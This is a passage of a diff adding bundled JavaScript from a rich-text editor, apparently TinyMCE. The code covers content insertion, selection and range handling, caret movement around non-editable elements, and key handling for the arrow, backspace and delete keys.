+          if (rng.createContextualFragment) {
+            rng.insertNode(rng.createContextualFragment(content));
+          } else {
+            frag = doc.createDocumentFragment();
+            temp = doc.createElement('div');
+            frag.appendChild(temp);
+            temp.outerHTML = content;
+            rng.insertNode(frag);
+          }
+        }
+      }
+      caretNode = editor.dom.get('__caret');
+      rng = doc.createRange();
+      rng.setStartBefore(caretNode);
+      rng.setEndBefore(caretNode);
+      editor.selection.setRng(rng);
+      editor.dom.remove('__caret');
+      try {
+        editor.selection.setRng(rng);
+      } catch (ex) {
+      }
+    } else {
+      if (rng.item) {
+        doc.execCommand('Delete', false, null);
+        rng = editor.getRng();
+      }
+      if (/^\s+/.test(content)) {
+        rng.pasteHTML('<span id="__mce_tmp">_</span>' + content);
+        editor.dom.remove('__mce_tmp');
+      } else {
+        rng.pasteHTML(content);
+      }
+    }
+    if (!args.no_events) {
+      editor.fire('SetContent', args);
+    }
+  };
+  var $_e043ey73jjgwe8yg = { setContent: setContent };
+
+  var getEndpointElement = function (root, rng, start, real, resolve) {
+    var container = start ? rng.startContainer : rng.endContainer;
+    var offset = start ? rng.startOffset : rng.endOffset;
+    return Option.from(container).map(Element$$1.fromDom).map(function (elm) {
+      return !real || !rng.collapsed ? $_d3rmjp18jjgwe7nc.child(elm, resolve(elm, offset)).getOr(elm) : elm;
+    }).bind(function (elm) {
+      return $_fxxo5411jjgwe7lq.isElement(elm) ? Option.some(elm) : $_d3rmjp18jjgwe7nc.parent(elm);
+    }).map(function (elm) {
+      return elm.dom();
+    }).getOr(root);
+  };
+  var getStart$2 = function (root, rng, real) {
+    return getEndpointElement(root, rng, true, real, function (elm, offset) {
+      return Math.min($_d3rmjp18jjgwe7nc.childNodesCount(elm), offset);
+    });
+  };
+  var getEnd = function (root, rng, real) {
+    return getEndpointElement(root, rng, false, real, function (elm, offset) {
+      return offset > 0 ? offset - 1 : offset;
+    });
+  };
+  var skipEmptyTextNodes = function (node, forwards) {
+    var orig = node;
+    while (node && $_3b9u2y1rjjgwe7qe.isText(node) && node.length === 0) {
+      node = forwards ? node.nextSibling : node.previousSibling;
+    }
+    return node || orig;
+  };
+  var getNode$1 = function (root, rng) {
+    var elm, startContainer, endContainer, startOffset, endOffset;
+    if (!rng) {
+      return root;
+    }
+    startContainer = rng.startContainer;
+    endContainer = rng.endContainer;
+    startOffset = rng.startOffset;
+    endOffset = rng.endOffset;
+    elm = rng.commonAncestorContainer;
+    if (!rng.collapsed) {
+      if (startContainer === endContainer) {
+        if (endOffset - startOffset < 2) {
+          if (startContainer.hasChildNodes()) {
+            elm = startContainer.childNodes[startOffset];
+          }
+        }
+      }
+      if (startContainer.nodeType === 3 && endContainer.nodeType === 3) {
+        if (startContainer.length === startOffset) {
+          startContainer = skipEmptyTextNodes(startContainer.nextSibling, true);
+        } else {
+          startContainer = startContainer.parentNode;
+        }
+        if (endOffset === 0) {
+          endContainer = skipEmptyTextNodes(endContainer.previousSibling, false);
+        } else {
+          endContainer = endContainer.parentNode;
+        }
+        if (startContainer && startContainer === endContainer) {
+          return startContainer;
+        }
+      }
+    }
+    if (elm && elm.nodeType === 3) {
+      return elm.parentNode;
+    }
+    return elm;
+  };
+  var getSelectedBlocks = function (dom, rng, startElm, endElm) {
+    var node, root;
+    var selectedBlocks = [];
+    root = dom.getRoot();
+    startElm = dom.getParent(startElm || getStart$2(root, rng, false), dom.isBlock);
+    endElm = dom.getParent(endElm || getEnd(root, rng, false), dom.isBlock);
+    if (startElm && startElm !== root) {
+      selectedBlocks.push(startElm);
+    }
+    if (startElm && endElm && startElm !== endElm) {
+      node = startElm;
+      var walker = new TreeWalker(startElm, root);
+      while ((node = walker.next()) && node !== endElm) {
+        if (dom.isBlock(node)) {
+          selectedBlocks.push(node);
+        }
+      }
+    }
+    if (endElm && startElm !== endElm && endElm !== root) {
+      selectedBlocks.push(endElm);
+    }
+    return selectedBlocks;
+  };
+  var select$1 = function (dom, node, content) {
+    return Option.from(node).map(function (node) {
+      var idx = dom.nodeIndex(node);
+      var rng = dom.createRng();
+      rng.setStart(node.parentNode, idx);
+      rng.setEnd(node.parentNode, idx + 1);
+      if (content) {
+        moveEndPoint$1(dom, rng, node, true);
+        moveEndPoint$1(dom, rng, node, false);
+      }
+      return rng;
+    });
+  };
+
+  var each$19 = $_6cwiepljjgwe7j4.each;
+  var isNativeIeSelection = function (rng) {
+    return !!rng.select;
+  };
+  var isAttachedToDom = function (node) {
+    return !!(node && node.ownerDocument) && $_5raon11ejjgwe7o5.contains(Element$$1.fromDom(node.ownerDocument), Element$$1.fromDom(node));
+  };
+  var isValidRange = function (rng) {
+    if (!rng) {
+      return false;
+    } else if (isNativeIeSelection(rng)) {
+      return true;
+    } else {
+      return isAttachedToDom(rng.startContainer) && isAttachedToDom(rng.endContainer);
+    }
+  };
+  var Selection$1 = function (dom, win, serializer, editor) {
+    var bookmarkManager, controlSelection;
+    var selectedRange, explicitRange, selectorChangedData;
+    var setCursorLocation = function (node, offset) {
+      var rng = dom.createRng();
+      if (!node) {
+        moveEndPoint$1(dom, rng, editor.getBody(), true);
+        setRng(rng);
+      } else {
+        rng.setStart(node, offset);
+        rng.setEnd(node, offset);
+        setRng(rng);
+        collapse(false);
+      }
+    };
+    var getContent = function (args) {
+      return $_41mrdx6zjjgwe8wu.getContent(editor, args);
+    };
+    var setContent = function (content, args) {
+      return $_e043ey73jjgwe8yg.setContent(editor, content, args);
+    };
+    var getStart = function (real) {
+      return getStart$2(editor.getBody(), getRng(), real);
+    };
+    var getEnd$$1 = function (real) {
+      return getEnd(editor.getBody(), getRng(), real);
+    };
+    var getBookmark = function (type, normalized) {
+      return bookmarkManager.getBookmark(type, normalized);
+    };
+    var moveToBookmark = function (bookmark) {
+      return bookmarkManager.moveToBookmark(bookmark);
+    };
+    var select = function (node, content) {
+      select$1(dom, node, content).each(setRng);
+      return node;
+    };
+    var isCollapsed = function () {
+      var rng = getRng(), sel = getSel();
+      if (!rng || rng.item) {
+        return false;
+      }
+      if (rng.compareEndPoints) {
+        return rng.compareEndPoints('StartToEnd', rng) === 0;
+      }
+      return !sel || rng.collapsed;
+    };
+    var collapse = function (toStart) {
+      var rng = getRng();
+      rng.collapse(!!toStart);
+      setRng(rng);
+    };
+    var getSel = function () {
+      return win.getSelection ? win.getSelection() : win.document.selection;
+    };
+    var getRng = function () {
+      var selection, rng, elm, doc;
+      var tryCompareBoundaryPoints = function (how, sourceRange, destinationRange) {
+        try {
+          return sourceRange.compareBoundaryPoints(how, destinationRange);
+        } catch (ex) {
+          return -1;
+        }
+      };
+      if (!win) {
+        return null;
+      }
+      doc = win.document;
+      if (typeof doc === 'undefined' || doc === null) {
+        return null;
+      }
+      if (editor.bookmark !== undefined && $_5eyh7w4vjjgwe8ik.hasFocus(editor) === false) {
+        var bookmark = $_4wtqbt4ljjgwe8gy.getRng(editor);
+        if (bookmark.isSome()) {
+          return bookmark.map(function (r) {
+            return $_atnm1d6yjjgwe8wr.processRanges(editor, [r])[0];
+          }).getOr(doc.createRange());
+        }
+      }
+      try {
+        if (selection = getSel()) {
+          if (selection.rangeCount > 0) {
+            rng = selection.getRangeAt(0);
+          } else {
+            rng = selection.createRange ? selection.createRange() : doc.createRange();
+          }
+        }
+      } catch (ex) {
+      }
+      rng = $_atnm1d6yjjgwe8wr.processRanges(editor, [rng])[0];
+      if (!rng) {
+        rng = doc.createRange ? doc.createRange() : doc.body.createTextRange();
+      }
+      if (rng.setStart && rng.startContainer.nodeType === 9 && rng.collapsed) {
+        elm = dom.getRoot();
+        rng.setStart(elm, 0);
+        rng.setEnd(elm, 0);
+      }
+      if (selectedRange && explicitRange) {
+        if (tryCompareBoundaryPoints(rng.START_TO_START, rng, selectedRange) === 0 && tryCompareBoundaryPoints(rng.END_TO_END, rng, selectedRange) === 0) {
+          rng = explicitRange;
+        } else {
+          selectedRange = null;
+          explicitRange = null;
+        }
+      }
+      return rng;
+    };
+    var setRng = function (rng, forward) {
+      var sel, node, evt;
+      if (!isValidRange(rng)) {
+        return;
+      }
+      var ieRange = isNativeIeSelection(rng) ? rng : null;
+      if (ieRange) {
+        explicitRange = null;
+        try {
+          ieRange.select();
+        } catch (ex) {
+        }
+        return;
+      }
+      sel = getSel();
+      evt = editor.fire('SetSelectionRange', {
+        range: rng,
+        forward: forward
+      });
+      rng = evt.range;
+      if (sel) {
+        explicitRange = rng;
+        try {
+          sel.removeAllRanges();
+          sel.addRange(rng);
+        } catch (ex) {
+        }
+        if (forward === false && sel.extend) {
+          sel.collapse(rng.endContainer, rng.endOffset);
+          sel.extend(rng.startContainer, rng.startOffset);
+        }
+        selectedRange = sel.rangeCount > 0 ? sel.getRangeAt(0) : null;
+      }
+      if (!rng.collapsed && rng.startContainer === rng.endContainer && sel.setBaseAndExtent && !$_bcvfv9ajjgwe79v.ie) {
+        if (rng.endOffset - rng.startOffset < 2) {
+          if (rng.startContainer.hasChildNodes()) {
+            node = rng.startContainer.childNodes[rng.startOffset];
+            if (node && node.tagName === 'IMG') {
+              sel.setBaseAndExtent(rng.startContainer, rng.startOffset, rng.endContainer, rng.endOffset);
+              if (sel.anchorNode !== rng.startContainer || sel.focusNode !== rng.endContainer) {
+                sel.setBaseAndExtent(node, 0, node, 1);
+              }
+            }
+          }
+        }
+      }
+      editor.fire('AfterSetSelectionRange', {
+        range: rng,
+        forward: forward
+      });
+    };
+    var setNode = function (elm) {
+      setContent(dom.getOuterHTML(elm));
+      return elm;
+    };
+    var getNode = function () {
+      return getNode$1(editor.getBody(), getRng());
+    };
+    var getSelectedBlocks$$1 = function (startElm, endElm) {
+      return getSelectedBlocks(dom, getRng(), startElm, endElm);
+    };
+    var isForward = function () {
+      var sel = getSel();
+      var anchorRange, focusRange;
+      if (!sel || !sel.anchorNode || !sel.focusNode) {
+        return true;
+      }
+      anchorRange = dom.createRng();
+      anchorRange.setStart(sel.anchorNode, sel.anchorOffset);
+      anchorRange.collapse(true);
+      focusRange = dom.createRng();
+      focusRange.setStart(sel.focusNode, sel.focusOffset);
+      focusRange.collapse(true);
+      return anchorRange.compareBoundaryPoints(anchorRange.START_TO_START, focusRange) <= 0;
+    };
+    var normalize = function () {
+      var rng = getRng();
+      var sel = getSel();
+      if (!$_2y1a8s4fjjgwe8fm.hasMultipleRanges(sel) && hasAnyRanges(editor)) {
+        var normRng = $_eqgqyj4jjjgwe8gi.normalize(dom, rng);
+        normRng.each(function (normRng) {
+          setRng(normRng, isForward());
+        });
+        return normRng.getOr(rng);
+      }
+      return rng;
+    };
+    var selectorChanged = function (selector, callback) {
+      var currentSelectors;
+      if (!selectorChangedData) {
+        selectorChangedData = {};
+        currentSelectors = {};
+        editor.on('NodeChange', function (e) {
+          var node = e.element, parents = dom.getParents(node, null, dom.getRoot()), matchedSelectors = {};
+          each$19(selectorChangedData, function (callbacks, selector) {
+            each$19(parents, function (node) {
+              if (dom.is(node, selector)) {
+                if (!currentSelectors[selector]) {
+                  each$19(callbacks, function (callback) {
+                    callback(true, {
+                      node: node,
+                      selector: selector,
+                      parents: parents
+                    });
+                  });
+                  currentSelectors[selector] = callbacks;
+                }
+                matchedSelectors[selector] = callbacks;
+                return false;
+              }
+            });
+          });
+          each$19(currentSelectors, function (callbacks, selector) {
+            if (!matchedSelectors[selector]) {
+              delete currentSelectors[selector];
+              each$19(callbacks, function (callback) {
+                callback(false, {
+                  node: node,
+                  selector: selector,
+                  parents: parents
+                });
+              });
+            }
+          });
+        });
+      }
+      if (!selectorChangedData[selector]) {
+        selectorChangedData[selector] = [];
+      }
+      selectorChangedData[selector].push(callback);
+      return exports;
+    };
+    var getScrollContainer = function () {
+      var scrollContainer;
+      var node = dom.getRoot();
+      while (node && node.nodeName !== 'BODY') {
+        if (node.scrollHeight > node.clientHeight) {
+          scrollContainer = node;
+          break;
+        }
+        node = node.parentNode;
+      }
+      return scrollContainer;
+    };
+    var scrollIntoView = function (elm, alignToTop) {
+      return $_1mgvl137jjgwe825.scrollElementIntoView(editor, elm, alignToTop);
+    };
+    var placeCaretAt = function (clientX, clientY) {
+      return setRng($_269jak6xjjgwe8wp.fromPoint(clientX, clientY, editor.getDoc()));
+    };
+    var getBoundingClientRect = function () {
+      var rng = getRng();
+      return rng.collapsed ? CaretPosition$1.fromRangeStart(rng).getClientRects()[0] : rng.getBoundingClientRect();
+    };
+    var destroy = function () {
+      win = selectedRange = explicitRange = null;
+      controlSelection.destroy();
+    };
+    var exports = {
+      bookmarkManager: null,
+      controlSelection: null,
+      dom: dom,
+      win: win,
+      serializer: serializer,
+      editor: editor,
+      collapse: collapse,
+      setCursorLocation: setCursorLocation,
+      getContent: getContent,
+      setContent: setContent,
+      getBookmark: getBookmark,
+      moveToBookmark: moveToBookmark,
+      select: select,
+      isCollapsed: isCollapsed,
+      isForward: isForward,
+      setNode: setNode,
+      getNode: getNode,
+      getSel: getSel,
+      setRng: setRng,
+      getRng: getRng,
+      getStart: getStart,
+      getEnd: getEnd$$1,
+      getSelectedBlocks: getSelectedBlocks$$1,
+      normalize: normalize,
+      selectorChanged: selectorChanged,
+      getScrollContainer: getScrollContainer,
+      scrollIntoView: scrollIntoView,
+      placeCaretAt: placeCaretAt,
+      getBoundingClientRect: getBoundingClientRect,
+      destroy: destroy
+    };
+    bookmarkManager = BookmarkManager$1(exports);
+    controlSelection = ControlSelection(exports, editor);
+    exports.bookmarkManager = bookmarkManager;
+    exports.controlSelection = controlSelection;
+    return exports;
+  };
+
+  var isContentEditableFalse$11 = $_3b9u2y1rjjgwe7qe.isContentEditableFalse;
+  var getSelectedNode$1 = getSelectedNode;
+  var isAfterContentEditableFalse$2 = isAfterContentEditableFalse;
+  var isBeforeContentEditableFalse$2 = isBeforeContentEditableFalse;
+  var getVisualCaretPosition = function (walkFn, caretPosition) {
+    while (caretPosition = walkFn(caretPosition)) {
+      if (caretPosition.isVisible()) {
+        return caretPosition;
+      }
+    }
+    return caretPosition;
+  };
+  var isMoveInsideSameBlock = function (from, to) {
+    var inSameBlock = isInSameBlock(from, to);
+    if (!inSameBlock && $_3b9u2y1rjjgwe7qe.isBr(from.getNode())) {
+      return true;
+    }
+    return inSameBlock;
+  };
+  var moveToCeFalseHorizontally = function (direction, editor, getNextPosFn, range) {
+    var node, caretPosition, peekCaretPosition, rangeIsInContainerBlock;
+    var forwards = direction === HDirection.Forwards;
+    var isBeforeContentEditableFalseFn = forwards ? isBeforeContentEditableFalse$2 : isAfterContentEditableFalse$2;
+    if (!range.collapsed) {
+      node = getSelectedNode$1(range);
+      if (isContentEditableFalse$11(node)) {
+        return showCaret(direction, editor, node, direction === HDirection.Backwards, true);
+      }
+    }
+    rangeIsInContainerBlock = isRangeInCaretContainerBlock(range);
+    caretPosition = getNormalizedRangeEndPoint(direction, editor.getBody(), range);
+    if (isBeforeContentEditableFalseFn(caretPosition)) {
+      return selectNode(editor, caretPosition.getNode(!forwards));
+    }
+    caretPosition = getNextPosFn(caretPosition);
+    if (!caretPosition) {
+      if (rangeIsInContainerBlock) {
+        return range;
+      }
+      return null;
+    }
+    if (isBeforeContentEditableFalseFn(caretPosition)) {
+      return showCaret(direction, editor, caretPosition.getNode(!forwards), forwards, true);
+    }
+    peekCaretPosition = getNextPosFn(caretPosition);
+    if (isBeforeContentEditableFalseFn(peekCaretPosition)) {
+      if (isMoveInsideSameBlock(caretPosition, peekCaretPosition)) {
+        return showCaret(direction, editor, peekCaretPosition.getNode(!forwards), forwards, true);
+      }
+    }
+    if (rangeIsInContainerBlock) {
+      return renderRangeCaret(editor, caretPosition.toRange(), true);
+    }
+    return null;
+  };
+  var moveToCeFalseVertically = function (direction, editor, walkerFn, range) {
+    var caretPosition, linePositions, nextLinePositions;
+    var closestNextLineRect, caretClientRect, clientX;
+    var dist1, dist2, contentEditableFalseNode;
+    contentEditableFalseNode = getSelectedNode$1(range);
+    caretPosition = getNormalizedRangeEndPoint(direction, editor.getBody(), range);
+    linePositions = walkerFn(editor.getBody(), isAboveLine(1), caretPosition);
+    nextLinePositions = $_6t4axrmjjgwe7jf.filter(linePositions, isLine(1));
+    caretClientRect = $_6t4axrmjjgwe7jf.last(caretPosition.getClientRects());
+    if (isBeforeContentEditableFalse$2(caretPosition) || isBeforeTable(caretPosition)) {
+      contentEditableFalseNode = caretPosition.getNode();
+    }
+    if (isAfterContentEditableFalse$2(caretPosition) || isAfterTable(caretPosition)) {
+      contentEditableFalseNode = caretPosition.getNode(true);
+    }
+    if (!caretClientRect) {
+      return null;
+    }
+    clientX = caretClientRect.left;
+    closestNextLineRect = findClosestClientRect(nextLinePositions, clientX);
+    if (closestNextLineRect) {
+      if (isContentEditableFalse$11(closestNextLineRect.node)) {
+        dist1 = Math.abs(clientX - closestNextLineRect.left);
+        dist2 = Math.abs(clientX - closestNextLineRect.right);
+        return showCaret(direction, editor, closestNextLineRect.node, dist1 < dist2, true);
+      }
+    }
+    if (contentEditableFalseNode) {
+      var caretPositions = positionsUntil(direction, editor.getBody(), isAboveLine(1), contentEditableFalseNode);
+      closestNextLineRect = findClosestClientRect($_6t4axrmjjgwe7jf.filter(caretPositions, isLine(1)), clientX);
+      if (closestNextLineRect) {
+        return renderRangeCaret(editor, closestNextLineRect.position.toRange(), true);
+      }
+      closestNextLineRect = $_6t4axrmjjgwe7jf.last($_6t4axrmjjgwe7jf.filter(caretPositions, isLine(0)));
+      if (closestNextLineRect) {
+        return renderRangeCaret(editor, closestNextLineRect.position.toRange(), true);
+      }
+    }
+  };
+  var createTextBlock = function (editor) {
+    var textBlock = editor.dom.create(editor.settings.forced_root_block);
+    if (!$_bcvfv9ajjgwe79v.ie || $_bcvfv9ajjgwe79v.ie >= 11) {
+      textBlock.innerHTML = '<br data-mce-bogus="1">';
+    }
+    return textBlock;
+  };
+  var exitPreBlock = function (editor, direction, range) {
+    var pre, caretPos, newBlock;
+    var caretWalker = CaretWalker(editor.getBody());
+    var getNextVisualCaretPosition = $_4127e12ljjgwe7ww.curry(getVisualCaretPosition, caretWalker.next);
+    var getPrevVisualCaretPosition = $_4127e12ljjgwe7ww.curry(getVisualCaretPosition, caretWalker.prev);
+    if (range.collapsed && editor.settings.forced_root_block) {
+      pre = editor.dom.getParent(range.startContainer, 'PRE');
+      if (!pre) {
+        return;
+      }
+      if (direction === 1) {
+        caretPos = getNextVisualCaretPosition(CaretPosition$1.fromRangeStart(range));
+      } else {
+        caretPos = getPrevVisualCaretPosition(CaretPosition$1.fromRangeStart(range));
+      }
+      if (!caretPos) {
+        newBlock = createTextBlock(editor);
+        if (direction === 1) {
+          editor.$(pre).after(newBlock);
+        } else {
+          editor.$(pre).before(newBlock);
+        }
+        editor.selection.select(newBlock, true);
+        editor.selection.collapse();
+      }
+    }
+  };
+  var getHorizontalRange = function (editor, forward) {
+    var caretWalker = CaretWalker(editor.getBody());
+    var getNextVisualCaretPosition = $_4127e12ljjgwe7ww.curry(getVisualCaretPosition, caretWalker.next);
+    var getPrevVisualCaretPosition = $_4127e12ljjgwe7ww.curry(getVisualCaretPosition, caretWalker.prev);
+    var newRange;
+    var direction = forward ? HDirection.Forwards : HDirection.Backwards;
+    var getNextPosFn = forward ? getNextVisualCaretPosition : getPrevVisualCaretPosition;
+    var range = editor.selection.getRng();
+    newRange = moveToCeFalseHorizontally(direction, editor, getNextPosFn, range);
+    if (newRange) {
+      return newRange;
+    }
+    newRange = exitPreBlock(editor, direction, range);
+    if (newRange) {
+      return newRange;
+    }
+    return null;
+  };
+  var getVerticalRange = function (editor, down) {
+    var newRange;
+    var direction = down ? 1 : -1;
+    var walkerFn = down ? downUntil : upUntil;
+    var range = editor.selection.getRng();
+    newRange = moveToCeFalseVertically(direction, editor, walkerFn, range);
+    if (newRange) {
+      return newRange;
+    }
+    newRange = exitPreBlock(editor, direction, range);
+    if (newRange) {
+      return newRange;
+    }
+    return null;
+  };
+  var moveH$1 = function (editor, forward) {
+    return function () {
+      var newRng = getHorizontalRange(editor, forward);
+      if (newRng) {
+        editor.selection.setRng(newRng);
+        return true;
+      } else {
+        return false;
+      }
+    };
+  };
+  var moveV$1 = function (editor, down) {
+    return function () {
+      var newRng = getVerticalRange(editor, down);
+      if (newRng) {
+        editor.selection.setRng(newRng);
+        return true;
+      } else {
+        return false;
+      }
+    };
+  };
+
+  var defaultPatterns = function (patterns) {
+    return map(patterns, function (pattern) {
+      return merge({
+        shiftKey: false,
+        altKey: false,
+        ctrlKey: false,
+        metaKey: false,
+        keyCode: 0,
+        action: noop
+      }, pattern);
+    });
+  };
+  var matchesEvent = function (pattern, evt) {
+    return evt.keyCode === pattern.keyCode && evt.shiftKey === pattern.shiftKey && evt.altKey === pattern.altKey && evt.ctrlKey === pattern.ctrlKey && evt.metaKey === pattern.metaKey;
+  };
+  var match$1 = function (patterns, evt) {
+    return bind(defaultPatterns(patterns), function (pattern) {
+      return matchesEvent(pattern, evt) ? [pattern] : [];
+    });
+  };
+  var action = function (f) {
+    var x = [];
+    for (var _i = 1; _i < arguments.length; _i++) {
+      x[_i - 1] = arguments[_i];
+    }
+    var args = Array.prototype.slice.call(arguments, 1);
+    return function () {
+      return f.apply(null, args);
+    };
+  };
+  var execute = function (patterns, evt) {
+    return find(match$1(patterns, evt), function (pattern) {
+      return pattern.action();
+    });
+  };
+  var $_4hb46d78jjgwe8z6 = {
+    match: match$1,
+    action: action,
+    execute: execute
+  };
+
+  var executeKeydownOverride = function (editor, caret, evt) {
+    var os = $_7vg267ojjgwe7k0.detect().os;
+    $_4hb46d78jjgwe8z6.execute([
+      {
+        keyCode: $_9udk9k5wjjgwe8on.RIGHT,
+        action: moveH$1(editor, true)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.LEFT,
+        action: moveH$1(editor, false)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.UP,
+        action: moveV$1(editor, false)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.DOWN,
+        action: moveV$1(editor, true)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.RIGHT,
+        action: moveH(editor, true)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.LEFT,
+        action: moveH(editor, false)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.UP,
+        action: moveV(editor, false)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.DOWN,
+        action: moveV(editor, true)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.RIGHT,
+        action: $_80ia3a4ajjgwe8e2.move(editor, caret, true)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.LEFT,
+        action: $_80ia3a4ajjgwe8e2.move(editor, caret, false)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.RIGHT,
+        ctrlKey: !os.isOSX(),
+        altKey: os.isOSX(),
+        action: $_80ia3a4ajjgwe8e2.moveNextWord(editor, caret)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.LEFT,
+        ctrlKey: !os.isOSX(),
+        altKey: os.isOSX(),
+        action: $_80ia3a4ajjgwe8e2.movePrevWord(editor, caret)
+      }
+    ], evt).each(function (_) {
+      evt.preventDefault();
+    });
+  };
+  var setup$7 = function (editor, caret) {
+    editor.on('keydown', function (evt) {
+      if (evt.isDefaultPrevented() === false) {
+        executeKeydownOverride(editor, caret, evt);
+      }
+    });
+  };
+  var $_97nc1t76jjgwe8yv = { setup: setup$7 };
+
+  var getParentInlines = function (rootElm, startElm) {
+    var parents = $_cvft7x3zjjgwe8bh.parentsAndSelf(startElm, rootElm);
+    return findIndex(parents, isBlock).fold(constant(parents), function (index) {
+      return parents.slice(0, index);
+    });
+  };
+  var hasOnlyOneChild$1 = function (elm) {
+    return $_d3rmjp18jjgwe7nc.children(elm).length === 1;
+  };
+  var deleteLastPosition = function (forward, editor, target, parentInlines) {
+    var isFormatElement$$1 = curry(isFormatElement, editor);
+    var formatNodes = map(filter(parentInlines, isFormatElement$$1), function (elm) {
+      return elm.dom();
+    });
+    if (formatNodes.length === 0) {
+      $_eg6ib44jjgwe8ck.deleteElement(editor, forward, target);
+    } else {
+      var pos = replaceWithCaretFormat(target.dom(), formatNodes);
+      editor.selection.setRng(pos.toRange());
+    }
+  };
+  var deleteCaret$1 = function (editor, forward) {
+    var rootElm = Element$$1.fromDom(editor.getBody());
+    var startElm = Element$$1.fromDom(editor.selection.getStart());
+    var parentInlines = filter(getParentInlines(rootElm, startElm), hasOnlyOneChild$1);
+    return last(parentInlines).map(function (target) {
+      var fromPos = CaretPosition$1.fromRangeStart(editor.selection.getRng());
+      if ($_3vi93f3sjjgwe861.willDeleteLastPositionInElement(forward, fromPos, target.dom())) {
+        deleteLastPosition(forward, editor, target, parentInlines);
+        return true;
+      } else {
+        return false;
+      }
+    }).getOr(false);
+  };
+  var backspaceDelete$5 = function (editor, forward) {
+    return editor.selection.isCollapsed() ? deleteCaret$1(editor, forward) : false;
+  };
+  var $_529ibl7ajjgwe8zf = { backspaceDelete: backspaceDelete$5 };
+
+  var executeKeydownOverride$1 = function (editor, caret, evt) {
+    $_4hb46d78jjgwe8z6.execute([
+      {
+        keyCode: $_9udk9k5wjjgwe8on.BACKSPACE,
+        action: $_4hb46d78jjgwe8z6.action($_cc2jel41jjgwe8bx.backspaceDelete, editor, false)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.DELETE,
+        action: $_4hb46d78jjgwe8z6.action($_cc2jel41jjgwe8bx.backspaceDelete, editor, true)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.BACKSPACE,
+        action: $_4hb46d78jjgwe8z6.action($_fwrmt445jjgwe8d5.backspaceDelete, editor, caret, false)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.DELETE,
+        action: $_4hb46d78jjgwe8z6.action($_fwrmt445jjgwe8d5.backspaceDelete, editor, caret, true)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.BACKSPACE,
+        action: $_4hb46d78jjgwe8z6.action($_f2hioa4cjjgwe8ee.backspaceDelete, editor, false)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.DELETE,
+        action: $_4hb46d78jjgwe8z6.action($_f2hioa4cjjgwe8ee.backspaceDelete, editor, true)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.BACKSPACE,
+        action: $_4hb46d78jjgwe8z6.action($_8u9liw40jjgwe8bn.backspaceDelete, editor, false)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.DELETE,
+        action: $_4hb46d78jjgwe8z6.action($_8u9liw40jjgwe8bn.backspaceDelete, editor, true)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.BACKSPACE,
+        action: $_4hb46d78jjgwe8z6.action($_6q4s8w3qjjgwe85j.backspaceDelete, editor, false)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.DELETE,
+        action: $_4hb46d78jjgwe8z6.action($_6q4s8w3qjjgwe85j.backspaceDelete, editor, true)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.BACKSPACE,
+        action: $_4hb46d78jjgwe8z6.action($_529ibl7ajjgwe8zf.backspaceDelete, editor, false)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.DELETE,
+        action: $_4hb46d78jjgwe8z6.action($_529ibl7ajjgwe8zf.backspaceDelete, editor, true)
+      }
+    ], evt).each(function (_) {
+      evt.preventDefault();
+    });
+  };
+  var executeKeyupOverride = function (editor, evt) {
+    $_4hb46d78jjgwe8z6.execute([
+      {
+        keyCode: $_9udk9k5wjjgwe8on.BACKSPACE,
+        action: $_4hb46d78jjgwe8z6.action($_cc2jel41jjgwe8bx.paddEmptyElement, editor)
+      },
+      {
+        keyCode: $_9udk9k5wjjgwe8on.DELETE,
+        action: $_4hb46d78jjgwe8z6.action($_cc2jel41jjgwe8bx.paddEmptyElement, editor)
+      }
+    ], evt);
+  };
+  var setup$8 = function (editor, caret) {
+    editor.on('keydown', function (evt) {
+      if (evt.isDefaultPrevented() === false) {
+        executeKeydownOverride$1(editor, caret, evt);
+      }
+    });
+    editor.on('keyup', function (evt) {
+      if (evt.isDefaultPrevented() === false) {
+        executeKeyupOverride(editor, evt);
+      }
+    });
+  };
+  var $_cacenr79jjgwe8zc = { setup: setup$8 };
+
+  var firstNonWhiteSpaceNodeSibling = function (node) {
+    while (node) {
+      if (node.nodeType === 1 || node.nodeType === 3 && node.data && /[\r\n\s]/.test(node.data)) {
+        return node;
+      }
+      node = node.nextSibling;
+    }
+  };
+  var moveToCaretPosition = function (editor, root) {
+    var walker, node, rng, lastNode = root, tempElm;
+    var dom = editor.dom;
+    var moveCaretBeforeOnEnterElementsMap = editor.schema.getMoveCaretBeforeOnEnterElements();
+    if (!root) {
+      return;
+    }
+    if (/^(LI|DT|DD)$/.test(root.nodeName)) {
+      var firstChild = firstNonWhiteSpaceNodeSibling(root.firstChild);
+      if (firstChild && /^(UL|OL|DL)$/.test(firstChild.nodeName)) {
+        root.insertBefore(dom.doc.createTextNode('\xA0'), root.firstChild);
+      }
+    }
+    rng = dom.createRng();
+    root.normalize();
+    if (root.hasChildNodes()) {
+      walker = new TreeWalker(root, root);
+      while (node = walker.current()) {
+        if ($_3b9u2y1rjjgwe7qe.isText(node)) {
+          rng.setStart(node, 0);
+          rng.setEnd(node, 0);
+          break;
+        }
+        if (moveCaretBeforeOnEnterElementsMap[node.nodeName.toLowerCase()]) {
+          rng.setStartBefore(node);
+          rng.setEndBefore(node);
+          break;
+        }
+        lastNode = node;
+        node = walker.next();
+      }
+      if (!node) {
+        rng.setStart(lastNode, 0);
+        rng.setEnd(lastNode, 0);
+      }
+    } else {
+      if ($_3b9u2y1rjjgwe7qe.isBr(root)) {
+        if (root.nextSibling && dom.isBlock(root.nextSibling)) {
+          rng.setStartBefore(root);
